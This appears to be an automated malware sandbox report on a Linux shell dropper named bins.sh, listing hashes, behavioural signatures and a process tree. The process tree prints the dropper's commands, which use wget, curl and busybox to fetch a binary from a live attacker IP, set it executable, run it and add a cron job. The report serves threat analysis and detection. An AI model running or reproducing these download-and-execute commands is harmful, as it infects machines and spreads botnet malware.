Analysis
-
max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 06:26
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
a907747b98b9d664473f98c795b9aa0b
-
SHA1
09582d30c9eeb7afd4082871aa2fbcd003fdfdf7
-
SHA256
267a3a050e4a19bd30d00800a2f746eb9dfb894921f15d3f69c27c672d5b513a
-
SHA512
cafc9f4e197f621722ddb1eae2b1b34caf79f7c5a79ebc81281a63f6ca0e59216b0dd59704df71c3ac15c3f9419e706961f021e6465a5c839122cb02c49598b4
-
SSDEEP
192:xkciP7LGOqvFaMj5fHo7AfHPkZP7LGO8vh:xxWMjGaZ
Malware Config
Signatures
-
Contacts a large (2274) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1493 chmod -
Executes dropped EXE 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXioc pid Process /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX 1494 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Renames itself 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXpid Process 1495 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.R1IzeL crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXdescription ioc Process File opened for reading /proc/1588/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1739/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1754/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/440/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1514/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1669/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1768/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1783/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1637/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1664/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/115/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1133/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1508/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1734/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1775/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1813/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/156/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1509/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1713/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/21/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1481/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1712/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1511/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1662/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1692/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1545/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1748/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1808/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1530/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/267/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1065/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1796/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/80/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/157/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1307/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1534/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1591/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1745/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1599/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1736/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1760/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1220/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1518/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1715/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/19/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/36/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1172/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1572/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1658/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1522/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1707/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1822/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1832/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/158/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/713/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1109/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1596/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1615/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/10/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/417/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1802/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1254/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1321/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1507/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX wget File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX curl File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1478
-
/bin/rm/bin/rm bins.sh2⤵PID:1479
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1480
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1484
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1489
-
-
/bin/chmodchmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- File and Directory Permissions Modification
PID:1493
-
-
/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1494 -
/bin/shsh -c "crontab -l"3⤵PID:1496
-
/usr/bin/crontabcrontab -l4⤵PID:1497
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1498
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1499
-
-
-
-
/bin/rmrm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵PID:1501
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵PID:1504
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
210B
MD59b8dce010a783968a0a9dd0c0501387c
SHA1143f6a071aea4a7268ae45af9d74db83c41417fa
SHA2567a32c4a722556ae78613617ae882d1078f7e5f980a719ad5e78b6812d1da1f99
SHA5123def457f9501551831bc13afb851854da2020e0e5d89cfb8048c508037d37b007fc41b1736178a100dd28cefafa140bf6248111239239821ca6023eac6a0314a